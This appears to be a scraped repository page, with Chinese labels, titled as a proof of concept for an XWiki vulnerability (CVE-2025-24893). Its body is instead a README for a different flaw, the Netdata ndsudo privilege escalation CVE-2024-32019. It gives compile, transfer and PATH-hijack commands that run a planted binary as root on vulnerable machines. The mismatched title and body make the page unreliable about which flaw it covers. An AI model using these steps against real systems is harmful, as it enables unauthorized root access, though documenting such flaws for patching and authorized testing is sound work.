CVE-2025-24893 PoC — XWiki Platform 安全漏洞

Description

this is a poc for the CVE-2025-24893

介绍

# ⚠️ CVE-2024-32019 - PoC

## 📌 Affected Versions

- `>= v1.45.0`, `< v1.45.3`  
- `>= v1.44.0-60`, `< v1.45.0-169`

---

## 🛠️ Proof of Concept

**CVE-2024-32019** — `ndsudo` local privilege escalation via **untrusted search path**.

### 🔧 Compile the Exploit

```bash
x86_64-linux-gnu-gcc -o nvme exploit.c -static
```

### 📤 Deploy on Target Machine

1. **Transfer the compiled binary** to the vulnerable machine.
2. Make it executable:

   ```bash
   chmod +x nvme
   ```

3. Exploit the vulnerable binary via `PATH` manipulation (use the same path where you uploaded your binary):

   ```bash
   PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
   ```

---

## 🔍 Reference

- [Netdata Security Advisory - GHSA-pmhq-4cxq-wj93](https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93)

---

## ⚖️ Disclaimer and Terms

This Proof of Concept (PoC) code is provided for **educational and authorized penetration testing purposes only**.

- **No permission** is granted to modify, redistribute, or use this code for any other purposes.
- Unauthorized use or modification may be **illegal and unethical**.
- The authors take **no responsibility** for any misuse or damages.

文件快照

备注